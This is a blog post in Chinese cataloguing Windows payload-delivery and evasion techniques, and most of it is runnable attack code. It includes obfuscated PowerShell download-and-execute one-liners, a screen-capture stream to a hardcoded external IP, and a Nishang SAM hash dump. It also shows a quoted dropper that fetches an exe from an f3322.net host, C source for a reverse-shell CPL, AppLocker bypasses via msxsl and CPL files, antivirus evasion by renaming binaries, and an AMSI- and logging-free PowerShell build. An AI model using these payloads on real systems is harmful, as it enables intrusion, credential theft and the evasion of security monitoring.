powershell.exe -ec VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA 
powershell.exe -EncodedCommand VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA 
powershell.exe -EncodedCom VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA 
powershell.exe -Enco VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA 

# .Net'sBase64 methods

iex ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA ")))

# .Net'sBase64 IO.MemoryStream

IEX(New-Object IO.StreamReader((New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String("VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA"),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()

6. 其他编码方式

Different ways of encoding…ASCII/hex/octal/binary/BXOR/etc.

[Convert]::ToString(1234, 2)
[Convert]::ToString(1234, 8)
[Convert]::ToString(1234, 16)
"{0:X4}" -f 1234
[Byte][Char]([Convert]::ToInt16($_,16))
($cmd.ToCharArray() | % {[int]$_}) -Join $delim
$bytes[$i] = $bytes[$i] -BXOR 0x6A

7. 通过powershell SecureString实现payload编码

powershell SecureString可以理解为powershell提供的一个"预分配密钥的对称加密编码机制"

$cmd= "IEX (IWR 'https://pastebin.com/raw/EBPsTBLt').Content";
$secCmd = ConvertTo-SecureString $cmd -AsPlainText -Force;
$secCmdPlaintext = $secCmd| ConvertFrom-SecureString -Key (1..16);
$secCmdPlaintext;

SecureString!如果不指定key,则会动态地使用user+computername作为key,但是我们可以显式地指定一个固定的key,这样黑客可以在本机构造一个payload,然后在受害者机器上反向解密出来,相当于一个对称加解密过程

# $secCmdPlaintext是黑客要投递到目标机器的paylaod
$secCmdPlaintext = "76492d1116743f0423413b16050a5345MgB8AHoATABUAHQAMgBYAGYARgB4AEsAbABxAEUAUAB4AGQAOAB6AFcARgBKAEEAPQA9AHwAMwBjADEAZAA3AGIAYgBkAGYAOQBiAGIAMwBmAGMAMgAwADYAYgBiAGQAYgAzADgANQAzADgAYgBhAGUAYgA4ADcAOABkADAAOQBmADgAMABmAGUANwA5ADQAZAA1AGEAOAA5ADkAOABlAGEAZQBkADEAOAA1AGQAYQA5AGEANwAwAGIANgBkAGUAZgA3ADkANgBlAGIAYQBhADcAYgA2AGEAMgA2AGMANgBiADMANAAwADMANQA3ADAAYQA1ADcANwA5ADQAZABkAGEAZgA1ADYAOAA0ADEAYwAwADgAYQA0ADgANwA5ADEANQA4ADkAZAAzADQAMABkADYAYwBmADkANgA4ADQANwBjAGEANAA3ADcAOQAxAGUAZAAwAGUANwBmADgAMAAxADEAYQBiADYAYgBiADMANQBiADgAMgBmAGMANQBkADAAMQBhAGUAMgAwAGUAYQA1ADUANgBmADUAZgBlADIAOAA3AGIANgAyADUANQA0ADAAMABjADMAZQBhADIAOQA4ADUAMQA1ADEAOQAyAGEAOQA4ADcANwBlAGYAYQAyADIAZgA1AGUAZQBmAGIAYQA2AGIAYgA5AA=="
$secCmd = $secCmdPlaintext | ConvertTo-SecureString -Key(1..16);
([System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secCmd))) | IEX;

0x12:Launch Techniques

Set content in one process and then query it out and execute it from another completely separate process

这里的各种奇技淫巧的核心思想是找到一个“中转存储”,让payload先暂存在那个中转存储中,然后再调用powershell去读取这个中转存储,获取ps code

1. 从标准输入读取ps code

cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"
# - 可以指示从stdin中读取输入进行解析执行
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
# 也可以通过IEX和默认全局变量来显式解析执行stdin
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"

2. 利用bat语言进行编码拼接

# 变量拼接
cmd /c "set p1=power&& set p2=shell&& cmd/c echo Write-Host SUCCESS -Fore Green ^| %p1%%p2% -"
# 截至bat变量实现payload中转
cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green&& cmd/c echo %cmd% | powershell -"
cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green&& cmd/c echo %cmd% ^| powershell -"
# 借助环境变量
cmd.exe /c "set cmd=Write-Host hacked_by_littlehann -Fore Green&&powershell IEX $env:cmd"
# 借助 C:/windows/sytem32/clip.exe粘贴板实现payload中转
cmd.exe /c "echo Write-Host hacked_by_littlehann -Fore Green | clip&&powershell [void] [System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); IEX ([System.Windows.Forms.Clipboard]::GetText())"

0x13:调用CM组件

powershell调用COM组件又是另一个维度的攻击向量组合了,技术上来说,作为一种编程语言,调用COM接口是非常容易的事情,COM malware自身就是一种恶意入侵向量,可以和其他的exploit和delivery方式进行组合。

$s=New-Object -COM "Component.Backdoor";$s.Exec()

1. 调用IE COM组件实现下载

$url="https://pastebin.com/raw/EBPsTBLt";
$objIE=New-Object -Com InternetExplorer.Application;
While($objIE.Busy){Start-Sleep-Seconds1};
$objIE.Visible=$false;
$objIE.Navigate($url);
While($objIE.Busy){Start-Sleep-Seconds1};
IEX $objIE.Document.Body.InnerText;

这种方式不会产生落盘文件。

$ie = New-Object -Com internetExplorer.Application
$ie.Navigate("https://site.com/somefile")
 
#------------------------------
#Wait for Download Dialog box to pop up
Sleep 5
while($ie.Busy){Sleep 1}
#------------------------------
 
#Hit "S" on the keyboard to hit the "Save" button on the download box
$obj = new-object -com WScript.Shell
$obj.AppActivate('Internet Explorer')
$obj.SendKeys('s')
 
#Hit "Enter" to save the file
$obj.SendKeys('{Enter}')
 
#Closes IE Downloads window
$obj.SendKeys('{TAB}')
$obj.SendKeys('{TAB}')
$obj.SendKeys('{TAB}')
$obj.SendKeys('{Enter}')

Relevant Link:

https://evi1cg.me/archives/Downloader_byIE.html

0x14:典型powershell恶意脚本

1. 屏幕监控

# 客户端(while循环将屏幕快照通过http协议发送到监听端)
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://evi1cg.me/powershell/Show-TargetScreen.ps1'); Show-TargetScreen -Reverse -IPAddress 47.89.253.66 -Port 8888"

# 监听端
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://evi1cg.me/powershell/Show-TargetScreen.ps1'); Show-TargetScreen --Bind -Port 8888"

# 用powercat作端口监听及转发
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
powercat -l -v -p 8888 -r tcp:9000 -rep -t 1000

Show-TargetScreen.ps1

https://pastebin.com/raw/tgCarUTN

2. 抓系统帐号HASH

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes"

https://pastebin.com/raw/Yq61CJwu

通过读取注册表中"HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\下的SAM文件的HASH,实现系统帐号HASH读取的目的

0x15:PowerShell脚本利用工具

1. Powersploit

2. Nishang

3. Easy-P

4. SET

https://github.com/trustedsec/social-engineer-toolkit

apt-get --force-yes -y install git apache2 python-requests libapache2-mod-php \
  python-pymssql build-essential python-pexpect python-pefile python-crypto python-openssl

git clone https://github.com/trustedsec/social-engineer-toolkit/ set/
cd set
python setup.py install

1、社会工程学攻击
2、快速追踪测试
3、第三方模块
4、升级软件
5、升级配置
6、帮助
99、退出

选择1,社会工程攻击:

1、鱼叉式网络钓鱼攻击
2、网页攻击
3、传染媒介式(俗称木马)
4、建立payloaad和listener
5、邮件群发攻击(夹杂木马啊payload的玩意发给你)
6、Arduino基础攻击
7、无线接入点攻击
8、二维码攻击(我喜欢)
9、Powershell攻击
10、第三反模块
99、返回上级

选择9,Powershell攻击

按照提示输入对象必选项即可。我们这里逐一学习它的ps编码技巧

1) Powershell Alphanumeric Shellcode Injector
2) Powershell Reverse Shell
3) Powershell Bind Shell
4) Powershell Dump SAM Database

SET的PowerShell攻击payload在Social-Engineering Attacks->Powershell Attack Vectors选项中

重点研究其生成的ps payload的构造技巧

5. Metasploit

msf中有8种powershell payload,分别为:

payload/cmd/windows/powershell_bind_tcp                                         normal     Windows Interactive Powershell Session, Bind TCP
payload/cmd/windows/powershell_reverse_tcp                                      normal     Windows Interactive Powershell Session, Reverse TCP
payload/cmd/windows/reverse_powershell                                          normal     Windows Command Shell, Reverse TCP (via Powershell)
payload/windows/powershell_bind_tcp                                             normal     Windows Interactive Powershell Session, Bind TCP
payload/windows/powershell_reverse_tcp                                          normal     Windows Interactive Powershell Session, Reverse TCP
payload/windows/x64/powershell_bind_tcp                                         normal     Windows Interactive Powershell Session, Bind TCP
payload/windows/x64/powershell_reverse_tcp                                      normal     Windows Interactive Powershell Session, Reverse TCP

Relevant Link:  

https://www.sans.org/summit-archives/file/summit-archive-1492186586.pdf - 各种特殊编码绕过方式
https://docs.microsoft.com/zh-cn/powershell/scripting/getting-started/getting-started-with-windows-powershell?view=powershell-6
https://blog.netspi.com/15-ways-to-download-a-file/
http://0cx.cc/about_powershell.jspx
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-6
https://docs.microsoft.com/zh-cn/powershell/scripting/core-powershell/console/powershell.exe-command-line-help?view=powershell-6
https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html
https://04z.net/2017/11/29/译-15-way-bypass-powershell-exec/
https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
http://www.labofapenetrationtester.com/2015/12/stream-targets-desktop-using-mjpeg-and-powershell.html
https://code.google.com/archive/p/nishang/downloads
https://parrotsec-china.org/t/powershell/663
https://github.com/trustedsec/social-engineer-toolkit
http://blog.airbuscybersecurity.com/post/2016/03/FILELESS-MALWARE-–-A-BEHAVIOURAL-ANALYSIS-OF-KOVTER-PERSISTENCE

0x16:无 PowerShell.exe 运行 PowerShell 脚本

1. 引用Automation(System.Management.Automation.dll)

powershell.exe进程只是为System.Management.Automation.dll的实现提供了一个DLL Host。而它的核心,实际上就是System.Management.Automation.dll,这也是PowerShell的真实身份。

此外,还有其他本地Windows进程同样也作为PowerShell的Host,比如powershell_ise.exe。

我们可以使用 C# 中的 System.Management.Automation 的解释器与该对象进行交互并执行 .ps1 脚本。

using System.Collections.ObjectModel; 
using System.Management.Automation; 
using System.Management.Automation.Runspaces; 
using System.IO;
using System;
using System.Text;
namespace PSLess
{
 class PSLess
 {
   static void Main(string[] args)
   {
     if(args.Length ==0)
         Environment.Exit(1);
     string script=LoadScript(args[0]);
     string s=RunScript(script);
     Console.WriteLine(s);
     Console.ReadKey();
   }
 private static string LoadScript(string filename) 
 { 
   string buffer ="";
   try {
    buffer = File.ReadAllText(filename);
    }
   catch (Exception e) 
   { 
     Console.WriteLine(e.Message);
     Environment.Exit(2);
    }
  return buffer;
 }
 private static string RunScript(string script) 
 { 
    # 首先创建一个 “runspace”, 可以将它理解为Powershell运行时的隔离实例
    Runspace MyRunspace = RunspaceFactory.CreateRunspace();
    MyRunspace.Open();
    Pipeline MyPipeline = MyRunspace.CreatePipeline(); 
    # 将脚本添加到新创建的管道中
    MyPipeline.Commands.AddScript(script);
    MyPipeline.Commands.Add("Out-String");
    # 通过 Invok() 方法执行脚本命令
    Collection<PSObject> outputs = MyPipeline.Invoke();
    MyRunspace.Close();
    # 将运行结果添加到我们的 StringBuilder 中,并使用 ToString() 作为字符串返
   StringBuilder sb = new StringBuilder(); 
   foreach (PSObject pobject in outputs) 
   { 
       sb.AppendLine(pobject.ToString()); 
   }
    return sb.ToString(); 
  }
 }
}
View Code

编译并测试它:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /reference:C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\system.management.automation.dll /out:c:\setup\powerless.exe c:\scripts\powersless.cs

注意,csc.exe 的位置可能不同的系统会有所不同,具体取决于系统上安装的框架版本。还要记住在编译器的引用中要添加“ system.management.automation.dll”程序集。

创建一个简单的测试脚本:

echo "Hello from powershell-less" >> test.ps1
echo "PID: $pid" >> test.ps1

当然,使用PowerShell的优势之一在于,PowerShell.exe是经过微软签名的二进制文件,会被应用程序加入白名单,方便我们的使用。而自己创建的进程则不会被应用程序所信任。

2. 利用 Installutil.exe 执行 ps 代码

Installutil.exe一般位于 dot.net framework 文件夹中,比如

C:\Windows\Microsoft.NET\Framework64\v4.0.30319

Installutil.exe是一个命令行使用程序,可让你通过执行指定程序集中的安装程序组件来安装和卸载服务资源。 通常需要与 System.Configuration.Install 命名空间中的类搭配使用。

  • 在无 powershell 的 C# 代码中,我们对 System.Configuration.Install 进行引用;
  • 创建继承于 System.Configuration.Install.Installer 的专类;
  • 覆盖 Uninstall() 方法,该方法调用PSLess.Main方法,并传递在命令行参数 “ScriptName” 中指定的脚本名称
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Runtime.InteropServices;
using System.IO;
using System;
using System.Text;
using System.Configuration.Install;
namespace PSLess
{
 [System.ComponentModel.RunInstaller(true)]
 public class InstallUtil : System.Configuration.Install.Installer
 {
   public override void Uninstall(System.Collections.IDictionary savedState)
   {
       string[] args= {this.Context.Parameters["ScriptName"]};
       PSLess.Main(args);
    }
  }
 
class PSLess
 {
   public static void Main(string[] args)
   {
     if (args.Length == 0)
       Environment.Exit(1);
     string script = LoadScript(args[0]);
     string s = RunScript(script);
     Console.WriteLine(s);
   }
  private static string LoadScript(string filename)
  {
    string buffer = "";
    try
    {
     buffer = File.ReadAllText(filename);
    }
    catch (Exception e)
    {
      Console.WriteLine(e.Message);
      Environment.Exit(2);
    }
    return buffer;
  }
  private static string RunScript(string script)
  {
    Runspace MyRunspace = RunspaceFactory.CreateRunspace();
    MyRunspace.Open();
    Pipeline MyPipeline = MyRunspace.CreatePipeline();
    MyPipeline.Commands.AddScript(script);
    MyPipeline.Commands.Add("Out-String");
    Collection<PSObject> outputs = MyPipeline.Invoke();
    MyRunspace.Close();
    StringBuilder sb = new StringBuilder();
    foreach (PSObject pobject in outputs)
    {
     sb.AppendLine(pobject.ToString());
    }
    return sb.ToString();
  }
 }
View Code

将其编译成 powershell-less.exe ,然后重命名为powerhsell.txt,目的是躲避一些特征检测av。

准备好待执行的 test.ps1:

echo "hello from powershell-less"
echo "this is your pid:$PID"
$psversiontable

通过Installutil.exe来调用powerhsell.txt

installutil  /logfile= /LogToConsole=false /ScriptName=c:\andrea\test.ps1 /U Powershell.txt

3. 不使用默认的System.Management.Automation.dll

InsecurePowerShell是开源项目PowerShell Core v6.0.0的一个分支,仅对其进行了一些修改。InsecurePowerShell从PowerShell中删除了下列安全功能:

  • AMSI:InsecurePowerShell不会将任何PowerShell代码提交给AMSI,即使是在有主动监听的反恶意软件产品(AntiMalware Provider)的情况下
  • PowerShell日志记录:InsecurePowerShell将禁用脚本块日志、模块日志和转录日志。即使已经在组策略中启用这些日志记录,也会在InsecurePowerShell中被忽略
  • 语言模式:InsecurePowerShell始终以全语言(Full Language)模式运行PowerShell代码。如果尝试将InsecurePowerShell设置为约束语言(Constrained Language)、限制语言(Restricted Language)等备选语言模式,实际上将不会产生任何作用
  • ETW:InsecurePowerShell不使用ETW(Windows的事件跟踪)

InsecurePowerShell的编译方式与PowerShell Core版本完全相同,所以我们可以通过完全一样的方式使用。InsecurePowerShell的发行版本中包含一个名为pwsh.exe的二进制文件,该文件就是PowerShell.exe的替代,和标准PowerShell和新版本的用法相同。我们可以以交互的方式使用,也可以非交互式地借助-Command或者-EncodedComand参数使用。 

Relevant Link:  

https://juejin.im/entry/5db961a4e51d4529e7306066
https://zhuanlan.zhihu.com/p/32403567

 

7. Visual Basic

在1998年Visual Basic最终标准在windows上确定,windows内置了对vbscript解释执行的引擎。

0x1:执行vbs文件

类似于PHP执行.php文件,我们可以调用系统的内置程序对vbs脚本文件进行解释执行。

Set args = Wscript.Arguments
Url = "https://pastebin.com/raw/EBPsTBLt"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
    .type = 1 '
    .open
    .write xHttp.responseBody
    .savetofile "./EBPsTBLt.txt", 2 '
end with

保存为 1.vbs 文件,通过cscript.exe解释执行

cscript 1.vbs

在实际payload投递过程中,黑客常用echo管道方式将vbs代码写入一个vbs文件中,然后调用cscript执行

cmd  /c \"taskkill /f  /im wscript.exe&taskkill /f  /im cscript.exe&echo Set psp = CreateObject(\"Msxml2.XMLHTTP\") > vbsxz.vbs&echo set ws=WScript.CreateObject(\"WScript.Shell\") >> vbsxz.vbs&echo psp.Open \"GET\",\"http://ym23322.f3322.net:8089/gj1jk.exe\",0 >> vbsxz.vbs&echo psp.Send() >> vbsxz.vbs&echo Set aGet = CreateObject(\"ADODB.Stream\") >> vbsxz.vbs&echo aGet.Mode = 3 >> vbsxz.vbs&echo aGet.Type = 1 >> vbsxz.vbs&echo aGet.Open() >> vbsxz.vbs&echo aGet.Write(psp.responseBody) >> vbsxz.vbs&echo aGet.SaveToFil

0x2:在Office文件中内嵌vbs代码

0x3:在html app中内嵌vbs代码

 

8. 利用系统自带/或系统签名的第三方程序执行脚本代码

0x1:在Office文件中内嵌脚本代码

0x2:利用msxsl.exe(XSL(Extensible Stylesheet Language)转换器)在XML文件中插入script脚本代码

msxsl.exe是一个微软签名的工具,它允许我们通过命令行进行Extensible Stylesheet Language (XSL)转换,即通过传入一个模版文件,对目标文件进行格式化转换。
但这里的问题是,微软为了加强在"xsl:stylesheet"文件开发过程中的灵活性,还引入了动态语言(jscript/vbscript)机制,允许在"xsl:stylesheet"文件中插入并解释执行脚本语言,这就给黑客带来了一个新的投递恶意代码的渠道。

1. 执行jscript

msxsl.exe接收两个文件名参数,待转换的xml文件,以及xsl文件

customers.xml

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="script.xsl" ?>
<customers>
   <customer>
      <name>John Smith</name>
      <address>123 Elm St.</address>
      <phone>(123) 456-7890</phone>
   </customer>
   <customer>
      <name>Mary Jones</name>
      <address>456 Oak Ave.</address>
      <phone>(156) 789-0123</phone>
   </customer>
</customers>

script.xml

<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      xmlns:msxsl="urn:schemas-microsoft-com:xslt"
      xmlns:user="http://mycompany.com/mynamespace">

<msxsl:script language="JScript" implements-prefix="user">
   function xml(nodelist) {
    var r = new ActiveXObject("WScript.Shell").Run("notepad.exe");
      return nodelist.nextNode().xml;

   }
</msxsl:script>
<xsl:template match="/">
   <xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>

执行转换指令

msxsl.exe customers.xml script.xml

2. 执行VBScript代码

只有xsl文件中的script部分需要修改(windows对jscript和vbscript都是同时支持的)

<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      xmlns:msxsl="urn:schemas-microsoft-com:xslt"
      xmlns:user="urn:my-scripts">

<msxsl:script language="VBScript" implements-prefix="user">
function myFunction()
    set shell=createobject("wscript.shell")
    shell.run "notepad.exe",0
    myFunction = 0
end function

</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:myFunction()"/>
</xsl:template>
</xsl:stylesheet>

3. 远程执行

msxsl.exe也支持远程执行

msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml

Relevant Link: 

http://www.4hou.com/system/6203.html
https://www.microsoft.com/en-us/download/details.aspx?id=21714 

0x3:利用Windows Control Panel Items机制启动进程

CPL文件,是Windows控制面板扩展项,CPL全拼为Control Panel Item。在系统安装目录的system32下面有一系列.cpl文件,它们分别对应着控制面板中的项目。

CPL文件本质是Windows可执行性文件(exe or dll),但不属于可以直接独立运行的文件,通常由shell32.dll打开。

CPL文件有如下特点:

  • 后缀名为cpl
  • 包含一个导出函数CPLApplet
  • 可双击直接运行

1. 运行方式

  • 双击直接运行
  • cmd下输入rundll32 shell32.dll,Control_RunDLL <文件名>
  • cmd下输入control <文件名>
    • 注:cmd下rundll32 shell32.dll,Control_RunDLL <文件名>等同于cmd下control <文件名>。control.exe实质调用了rundll32.exe,通过control.exe执行cpl文件的进程为rundll32.exe
  • 通过脚本调用
    • vbs:Dim obj; Set obj = CreateObject("Shell.Application"); obj.ControlPanelItem("test.cpl")
    • js:var a = new ActiveXObject("Shell.Application"); a.ControlPanelItem("c:\\test\\test.cpl");
  • 通过win32 api调用
    • WinExec("c:\windows\system32\control.exe MyCpl.cpl", SW_NORMAL);

2. 使用vc 6.0制作标准cpl模板

cpl本质就是一个dll文件
所以我们可以在vc下创建一个dll的工程,并定义导出函数为CPlApplet

#!c
LRESULT APIENTRY CPlApplet
(
    HWND    aHwndCPL_in,    // Handle to Configuration Panel window.
    UINT    aUMsg_in,        // CPL message.
    LPARAM    aLParam1_in,    // First message parameter.
    LPARAM  aLParam2_in    // Second message parameter.
) 

3. 制作一个简易的cpl文件

新建一个标准dll工程,在DLL_PROCESS_ATTACH中添加payload 相关代码之下:

#!c
#include "Windows.h"
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
            WinExec("cmd", SW_SHOW);
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

编译后生成的dll文件后缀名改为cpl即可,

4. 反弹shell的cpl

#!c
#include "Windows.h"
#include <WinSock2.h>
#include <stdio.h>  

#pragma comment(lib,"WS2_32.lib")   

int reverse_tcp()
{
    WSADATA wsData;
        if(WSAStartup(MAKEWORD(2,2),&wsData))
        {
            printf("WSAStartp fail.\n");
            return 0;
        } 

        SOCKET sock = WSASocket(AF_INET,SOCK_STREAM,0,0,0,0);
        SOCKADDR_IN server;
        ZeroMemory(&server,sizeof(SOCKADDR_IN));
        server.sin_family = AF_INET;
        server.sin_addr.s_addr = inet_addr("192.168.127.132"); //server ip
        server.sin_port = htons(8888); //server port
        if(SOCKET_ERROR == connect(sock,(SOCKADDR*)&server,sizeof(server)))
        {
            printf("connect to server fail.\n");
            closesocket(sock);
            WSACleanup();
            return 0;
        } 

        u_int payloadLen;
        if (recv(sock,(char*)&payloadLen,sizeof(payloadLen),0) != sizeof(payloadLen))
        {
            printf("recv error\n");
            closesocket(sock);
            WSACleanup();
            return 0;
        } 

        char* orig_buffer = (char*)VirtualAlloc(NULL,payloadLen,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
        char* buffer = orig_buffer;
        int ret = 0;
        do 
        {
            ret = recv(sock,buffer,payloadLen,0);
            buffer += ret;
            payloadLen -= ret;
        } while (ret > 0 && payloadLen > 0);  


        __asm
        {
            mov edi,sock;   
            jmp orig_buffer; 
        } 

        VirtualFree(orig_buffer,0,MEM_RELEASE);   


}   

BOOL APIENTRY DllMain( HMODULE hModule,
                      DWORD  ul_reason_for_call,
                      LPVOID lpReserved
                      )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        reverse_tcp();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
View Code

值得注意的是,AppLocker开启后,默认规则后会拦截exe和脚本的执行,但是cpl文件可以绕过 Windows AppLocker的限制规则。 

Relevant Link:

https://baike.baidu.com/item/CPL%E6%96%87%E4%BB%B6/2167532
https://docs.microsoft.com/zh-cn/windows/win32/shell/executing-control-panel-items?redirectedfrom=MSDN
https://wooyun.js.org/drops/CPL%E6%96%87%E4%BB%B6%E5%88%A9%E7%94%A8%E4%BB%8B%E7%BB%8D.html

  

9. 利用Windows COM(Component Object Model)/DCOM接口实现载荷投递

Windows COM在笔者看来,是微软对业界最大的贡献,是一个非常精美和先进的设计思想。

COM的主要思想是提供一个跨平台分布式对象粒度的系统交互能力。即不管在任何一台机器上(任何配置)、用任何语言(vbs、c、c++)、任何形式(exe、dll)实现的COM对象,对外(进程内、进程间、跨机器)都统一提供一套标准的API接口,以供多种语言(java、c、c++、vbs)去调用使用。

COM也是OLE (compound documents),ActiveX (Internet-enabled components)的底层支撑技术。

HKEY_CLASSES_ROOT\CLSID下列出了所有注册的COM组件,例如

{0000002F-0000-0000-C000-000000000046}
{00000300-0000-0000-C000-000000000046}
{00000301-A8F2-4877-BA0A-FD2B6645FB94}
{00000303-0000-0000-C000-000000000046}
{00000304-0000-0000-C000-000000000046}
{00000305-0000-0000-C000-000000000046}
{00000306-0000-0000-C000-000000000046}
{00000308-0000-0000-C000-000000000046}
{00000309-0000-0000-C000-000000000046}
{0000030B-0000-0000-C000-000000000046}
{00000315-0000-0000-C000-000000000046}
{00000316-0000-0000-C000-000000000046}

COM的攻击面风险主要可以分为两类:

  • 已知威胁功能的COM,例如
    • Msxml2.XMLHTTP.3.0:可以实现远程文件下载
    • Schedule.Service:添加计划任务
  • 官方文档没有明确记录,但是默认注册在系统中的COM,例如
    • {E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E}:ProcessChain(C:\Program Files (x86)\Windows Kits\10\App Certification Kit\prchauto.dll)

0x1:已知威胁功能的COM

1. Fileless Download and Execute

the COM object {F5078F35-C551-11D3-89B9-0000F81FE221} (Msxml2.XMLHTTP.3.0) exposes an XML HTTP 3.0 feature that can be used to download arbitrary code for execution without writing the payload to the disk and without triggering rules that look for the commonly-used System.Net.WebClient. The XML HTTP 3.0 object is usually used to perform AJAX requests. In this case, data fetched can be directly executed using the Invoke-Expression cmdlet (IEX).

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221")); $o.Open("GET", "http://127.0.0.1/payload", $False); $o.Send(); IEX $o.responseText;

2. Task Scheduling

{0F87369F-A4E5-4CFC-BD3E-73E6154572DD} which implements the Schedule.Service class for operating the Windows Task Scheduler Service. This COM object allows privileged users to schedule a task on a host (including a remote host) without using the schtasks.exe binary or the at command.

$TaskName = [Guid]::NewGuid().ToString()
$Instance = [activator]::CreateInstance([type]::GetTypeFromProgID("Schedule.Service"))
$Instance.Connect()
$Folder = $Instance.GetFolder("\")
$Task = $Instance.NewTask(0)
$Trigger = $Task.triggers.Create(0)
$Trigger.StartBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay))
$Trigger.EndBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay + 120))
$Trigger.ExecutionTimelimit = "PT5M"
$Trigger.Enabled = $True
$Trigger.Id = $Taskname
$Action = $Task.Actions.Create(0)
$Action.Path = “cmd.exe”
$Action.Arguments = “/c whoami”
$Action.HideAppWindow = $True
$Folder.RegisterTaskDefinition($TaskName, $Task, 6, "", "", 3)

function Convert-Date {       

        param(
             [datetime]$Date

        )       

        PROCESS {
               $Date.Touniversaltime().tostring("u") -replace " ","T"
        }
}

0x2:官方文档没有明确记录,但是默认注册在系统中的COM

1. 执行任意进程

基于该COM组件执行任意指令代码示例如下,

$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID("E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E"))
$handle.CommandLine = "cmd /c whoami"
$handle.Start([ref]$True)

Relevant Link:

https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
posted @ 2018-02-24 14:04  郑瀚Andrew  阅读(2203)  评论(2编辑  收藏  举报